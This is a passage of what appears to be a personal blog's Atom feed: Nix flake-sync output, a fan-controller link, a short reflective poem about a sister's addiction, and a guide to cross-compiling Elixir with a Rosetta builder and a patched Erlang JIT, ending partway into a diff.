&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;Target: /Users/kivikakk/g/comrak
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;--------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;input nixpkgs is behind source
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;source: 1751741127 (2025-07-05 18:45:27 UTC)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;target: 1748437600 (2025-05-28 13:06:40 UTC)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;(S)ync to source, or (I)gnore? s
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;input &amp;quot;fenix&amp;quot; has an original mismatch
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;source: github:nix-community/fenix
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;target: github:nix-community/fenix/monthly
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;(S)ync to source, or (I)gnore? s
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;[!!!] update flake.nix please!
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;Target: /Users/kivikakk/g/iqan
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;input fenix is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;Target: /Users/kivikakk/g/kivikakk
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;----------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;Target: /Users/kivikakk/g/koino
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;-------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;Target: /Users/kivikakk/g/kv
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;----------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;input fenix is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;Target: /Users/kivikakk/g/nossa
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;-------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;56&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;57&quot;&gt;input fenix is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;58&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;59&quot;&gt;Target: /Users/kivikakk/g/notes
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;60&quot;&gt;-------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;61&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;62&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;63&quot;&gt;Target: /Users/kivikakk/g/outfoxsync
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;64&quot;&gt;------------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;65&quot;&gt;input &amp;quot;nixpkgs&amp;quot; has an original mismatch
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;66&quot;&gt;source: github:NixOS/nixpkgs/nixos-25.05
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;67&quot;&gt;target: github:NixOS/nixpkgs/nixos-24.11
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;68&quot;&gt;(S)ync to source, or (I)gnore? s
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;69&quot;&gt;[!!!] update flake.nix please!
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;70&quot;&gt;$
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It does the job. :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Argon ONE V3 fan/power controller.</title>
    <updated>2025-08-04T11:34:51Z</updated>
    <id>https://kivikakk.ee/2025/08/04/argon-one-v3-fan-power-controller</id>
    <link href="https://kivikakk.ee/2025/08/04/argon-one-v3-fan-power-controller" />

    <content type="html">&lt;p&gt;Seems almost a rite of passage to write one’s own for this accursed piece of hardware.&lt;/p&gt;
&lt;p&gt;(The hardware’s actually quite OK, screw threading notwithstanding, but Argon 40 cannot write software to save themselves.)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://nossa.ee/~talya/a1d&quot;&gt;https://nossa.ee/~talya/a1d&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>tangential</title>
    <updated>2025-08-03T14:11:49Z</updated>
    <id>https://kivikakk.ee/2025/08/03/tangential</id>
    <link href="https://kivikakk.ee/2025/08/03/tangential" />

    <content type="html">&lt;p&gt;cw: death, drugs, I am Sad&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;once, my sister thought she was dying.&lt;/p&gt;
&lt;p&gt;after decades of alcohol and painkiller abuse, they’d called it — end-stage liver failure,&lt;/p&gt;
&lt;p&gt;no chance of a transplant.&lt;/p&gt;
&lt;p&gt;she called me with the news, crying, drunk maybe,&lt;/p&gt;
&lt;p&gt;and in our conversation she asked if i had struggled with addiction, for we rarely spoke,&lt;/p&gt;
&lt;p&gt;and i told her i had and did, and mentioned how,&lt;/p&gt;
&lt;p&gt;and she laughed at me.&lt;/p&gt;
&lt;!-- break --&gt;&lt;br&gt;
&lt;p&gt;they would turn out to have been mistaken, and she did not die.&lt;/p&gt;
&lt;p&gt;later that year i would pay for months of rehab for her,&lt;/p&gt;
&lt;p&gt;because nobody else [cw]ould.&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;this is probably the best sibling relationship i have.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Cross-compiling Elixir for x86_64-linux on aarch64-darwin.</title>
    <updated>2025-08-03T01:59:11Z</updated>
    <id>https://kivikakk.ee/2025/08/03/cross-compiling-elixir-for-x86_64-linux-on-aarch64-darwin</id>
    <link href="https://kivikakk.ee/2025/08/03/cross-compiling-elixir-for-x86_64-linux-on-aarch64-darwin" />

    <content type="html">&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Start with &lt;a href=&quot;https://github.com/cpick/nix-rosetta-builder&quot;&gt;&lt;code&gt;github:cpick/nix-rosetta-builder&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You might be interested in &lt;a href=&quot;https://nossa.ee/~talya/nix-rosetta-builder/tree/t/-&quot;&gt;my fork&lt;/a&gt;; it targets Linux 6.12.29, applies Apple’s &lt;a href=&quot;https://developer.apple.com/documentation/virtualization/accelerating-the-performance-of-rosetta&quot;&gt;“Accelerating the performance of Rosetta”&lt;/a&gt; kernel patch, and incorporates &lt;a href=&quot;https://github.com/cpick/nix-rosetta-builder/pull/34&quot;&gt;upstream PR #34&lt;/a&gt; (why not).&lt;/li&gt;
&lt;li&gt;I add a &lt;code&gt;rosettaAot&lt;/code&gt; option to run &lt;code&gt;rosettad&lt;/code&gt;, but don’t use it. The results crash far too often. See &lt;a href=&quot;https://github.com/NixOS/nixpkgs/issues/209242#issuecomment-1636852926&quot;&gt;e.g.&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Serving suggestion (adjust for your machine):&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;nix-rosetta-builder&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;enable&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cores&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;diskSize&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;100GiB&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;memory&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;16GiB&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;onDemand&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it! It’ll spin itself up when needed (you might need to retry the build since the first attempt might timeout while it starts up on-demand), and down again after a while of inactivity. Now you can do something like &lt;code&gt;nix build .#packages.x86_64-linux.chog&lt;/code&gt; and it’ll Just Work™.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Whoops! I lied. You’ll get perhaps a lot of things like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;error: build of &amp;#39;/nix/store/9dhn75m3isw55qz29dzw1h8xzs634pim-salchicha-0.4.0.drv&amp;#39; on &amp;#39;ssh-ng://rosetta-builder&amp;#39; failed: builder for &amp;#39;/nix/store/9dhn75m3isw55qz29dzw1h8xzs634pim-salchicha-0.4.0.drv&amp;#39; failed with exit code 132;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;       last 9 log lines:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;       &amp;gt; Running phase: unpackPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;       &amp;gt; unpacking source archive /nix/store/l05szcgqqaxxc9i1hd16ik8kd9vv5cn2-salchicha-0.4.0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;       &amp;gt; source root is salchicha-0.4.0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;       &amp;gt; Running phase: patchPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;       &amp;gt; Running phase: updateAutotoolsGnuConfigScriptsPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;       &amp;gt; Running phase: configurePhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;       &amp;gt; Running phase: buildPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;       &amp;gt; Compiling 3 files (.ex)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;       &amp;gt; /nix/store/qjjpd1310d6qi63pdmjigykcznfi3n4y-stdenv-linux/setup: line 1765:    44 Illegal instruction     (core dumped) mix compile --no-deps-check
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;       For full logs, run:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;         nix log /nix/store/9dhn75m3isw55qz29dzw1h8xzs634pim-salchicha-0.4.0.drv
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;error: builder for &amp;#39;/nix/store/9dhn75m3isw55qz29dzw1h8xzs634pim-salchicha-0.4.0.drv&amp;#39; failed with exit code 1
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;error: build of &amp;#39;/nix/store/3jfv7sghsansgg4sgihqkcsxg925zfrj-jason-1.4.4.drv&amp;#39; on &amp;#39;ssh-ng://rosetta-builder&amp;#39; failed: builder for &amp;#39;/nix/store/3jfv7sghsansgg4sgihqkcsxg925zfrj-jason-1.4.4.drv&amp;#39; failed with exit code 134;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;       last 12 log lines:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;       &amp;gt; Running phase: unpackPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;       &amp;gt; unpacking source archive /nix/store/km205nlk52awji63d5hynwnypdpfqqm3-jason-1.4.4
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;       &amp;gt; source root is jason-1.4.4
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;       &amp;gt; Running phase: patchPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;       &amp;gt; Running phase: updateAutotoolsGnuConfigScriptsPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;       &amp;gt; Running phase: configurePhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;       &amp;gt; Running phase: buildPhase
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;       &amp;gt; Compiling 10 files (.ex)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;       &amp;gt; no next heap size found: 2305825417165001762, offset 0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;       &amp;gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;       &amp;gt; Crash dump is being written to: erl_crash.dump...done
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;       &amp;gt; /nix/store/qjjpd1310d6qi63pdmjigykcznfi3n4y-stdenv-linux/setup: line 1765:    44 Aborted                 (core dumped) mix compile --no-deps-check
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;       For full logs, run:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;         nix log /nix/store/3jfv7sghsansgg4sgihqkcsxg925zfrj-jason-1.4.4.drv
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;error: builder for &amp;#39;/nix/store/3jfv7sghsansgg4sgihqkcsxg925zfrj-jason-1.4.4.drv&amp;#39; failed with exit code 1
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Just give me the fix.&lt;/h3&gt;
&lt;p&gt;Assuming you have &lt;code&gt;pkgs&lt;/code&gt; from somewhere:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  erlang &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;pkgs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;beam_minimal&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;interpreters&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;erlang_27&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  erlang-jmsingle &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;erlang&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;override&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;patches&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./nix/erlang_beam_jit_main.cpp.patch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;overrideAttrs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;preConfigure&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;prev&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;preConfigure&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;or&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;  &lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;configureFlagsArray&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;CFLAGS=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;-O2 -g -DFORCE_ERTS_JIT_SINGLE_MAP=1&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #89b4fa;&quot;&gt;mkPackageWithErlang&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #eba0ac;&quot;&gt;erlang&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;let&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      beamPackages &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; pkgs&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;beam_minimal&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;packagesWith&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;erlang&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      elixir &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; beamPackages&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;elixir_1_18&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;in&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;pkgs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;callPackage&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;./nix/package.nix&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #cba6f7;&quot;&gt;inherit&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;        beamPackages
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;        erlang
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        elixir
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that &lt;code&gt;-O2 -g&lt;/code&gt; are defaults for the Erlang build — we have to specify them again since we’re overriding &lt;code&gt;CFLAGS&lt;/code&gt; as a whole.&lt;/p&gt;
&lt;p&gt;Here’s the patch:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;diff&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;--git&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;a/erts/emulator/beam/jit/beam_jit_main.cpp b/erts/emulator/beam/jit/beam_jit_main.cpp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;index&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8408b25056&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;d941532e5f&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;100644&lt;/span&gt;
